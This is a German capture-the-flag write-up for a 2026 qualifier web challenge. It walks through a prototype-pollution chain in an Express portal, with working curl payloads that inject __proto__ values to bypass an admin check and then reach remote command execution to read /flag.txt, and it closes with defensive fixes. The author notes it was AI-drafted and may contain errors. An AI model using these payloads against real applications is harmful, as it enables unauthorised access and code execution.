Deutschlands Bester Hacker - GreenCorp (Web) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie Web
Punkte 379
Angriffsklasse Prototype PollutionPrototype PollutionManipulation des JavaScript-Objektprototyps, wodurch alle Objekte geerbte Angreiferwerte tragen. → Privilege EscalationPrivilege EscalationErlangung höherer Berechtigungen als ursprünglich vorgesehen. → Command InjectionInjection AttackManipuliert Interpreter oder Anwendungen durch eingeschleuste Befehle oder Daten. (RCERemote Code ExecutionSchwachstelle oder Angriff, der Code auf einem entfernten Ziel ausführen lässt.)
Flag-Fundort /flag.txt

Die Challenge

Ein Unternehmensportal mit Report-Funktion und einem Admin-only-Analytics-Bereich. Ziel ist die Flag unter /flag.txt.

Aufklärung

Die Startseite streut die entscheidenden Hinweise selbst:

<meta name="generator" content="GreenCorp Portal v2.1.3">
<!-- internal: /api -->
<!-- function deepMerge(target, source) { ... }               -->
<!-- FIXME(sarah): deepMerge does not sanitize __proto__       -->
<!--               see ticket GC-1337                          -->

Ein versteckter Endpoint /api, und ein rekursiver deepMerge, der __proto__ nicht filtert — eine sehr deutliche Prototype-Pollution-Fährte. Der Server ist Express (erkennbar am x-powered-by).

API-Mapping:

curl -isS "$BASE/api"
# {"status":"ok","endpoints":["signup","signin","reports","analytics"]}
Endpoint Verhalten
signup Account anlegen (username+password)
signin Login → JWTJSON Web TokenKompaktes, signierbares Token zur Übertragung von Identitäts- und Berechtigungsinformationen., übergeben via Header x-access-token
reports Report einreichen (verwundbarer Merge)
analytics Admin-only: „Supervisor clearance required“ (403)

Das JWT-PayloadPayloadTeil eines Angriffs oder Exploits, der die beabsichtigte schädliche Wirkung ausführt. eines normalen Users ist {"user":"...","role":"user",...}, HS256-signiert — also nicht direkt fälschbar.

Die Schwachstelle

Account anlegen und Token holen:

curl -isS -X POST "$BASE/api/signup" -H 'Content-Type: application/json' \
  -d '{"username":"testi","password":"Passw0rd!"}'
TOKEN=$(curl -sS -X POST "$BASE/api/signin" -H 'Content-Type: application/json' \
  -d '{"username":"testi","password":"Passw0rd!"}' \
  | sed -E 's/.*"token":"([^"]+)".*/\1/')

Pollution über signup blieb wirkungslos, Analytics antwortete weiter mit 403. Der verwundbare deepMerge läuft also im POST /api/reports:

curl -isS -X POST "$BASE/api/reports" -H "x-access-token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"title":"test","body":"hello","category":"waste"}'
# {"status":"success","report_id":1,...}

Der Angriff

Pollution 1 — Auth-Bypass über clearance

Der Analytics-Check liest clearance. Das JWT-Objekt besitzt dieses Feld nicht selbst — JavaScript fällt daher auf Object.prototype zurück. Genau dort platzieren wir den Wert:

curl -isS -X POST "$BASE/api/reports" -H "x-access-token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"title":"x","__proto__":{"clearance":"supervisor"}}'

curl -isS "$BASE/api/analytics" -H "x-access-token: $TOKEN"
# 200 → {"command":"uptime","output":"... up 18 days ...","total_reports":..,"total_users":..}

Kein Supervisor-Account nötig — unser eigener User erbt die Clearance aus dem vergifteten Prototype.

Pollution 2 — RCE über command

Die Analytics-Antwort verrät den nächsten Schritt: der Endpoint führt einen Shell-Befehl (command) aus und gibt output zurück. Überschreiben wir command, führen wir beliebige Befehle aus.

Wichtig: Die Instanz resettet den Prozess periodisch, die Pollution ist also flüchtig. Daher clearance und command in einem Request setzen und sofort Analytics triggern:

curl -sS -X POST "$BASE/api/reports" -H "x-access-token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"title":"x","__proto__":{"clearance":"supervisor","command":"cat /flag.txt"}}' >/dev/null

curl -isS "$BASE/api/analytics" -H "x-access-token: $TOKEN"
# 200 → output enthält den Inhalt von /flag.txt

Die Flag

Die Flag liegt in /flag.txt und wird im output-Feld der Analytics-Antwort im Format DBH{...} zurückgegeben.

Was ich mitnehme

Die Kette in zwei Schritten: deepMerge ohne __proto__-Schutz →

  1. Auth-Bypass: clearance wird per Prototype geerbt → Zugriff auf einen admin-only-Endpoint.
  2. RCE: command wird per Prototype überschrieben → Ausführung beliebiger OS-Befehle → beliebige Dateien lesbar.

Die Fixes:

  • In deepMerge __proto__, constructor und prototype als Keys blocken (bzw. Object.create(null) oder Map nutzen, plus hasOwnProperty-Guards).
  • Berechtigungs-Checks nur auf eigene Eigenschaften stützen (Object.hasOwn), nicht auf vererbte. Das ist der eigentliche Kern: ein if (user.clearance === 'supervisor') ist bei Prototype Pollution kein Check mehr.
  • Keine dynamischen Shell-Befehle aus konfigurierbaren Feldern; child_process.exec durch execFile ohne Shell und mit fester Allowlist ersetzen.
  • /api nicht nur „intern gedacht“, sondern serverseitig durchgesetzt.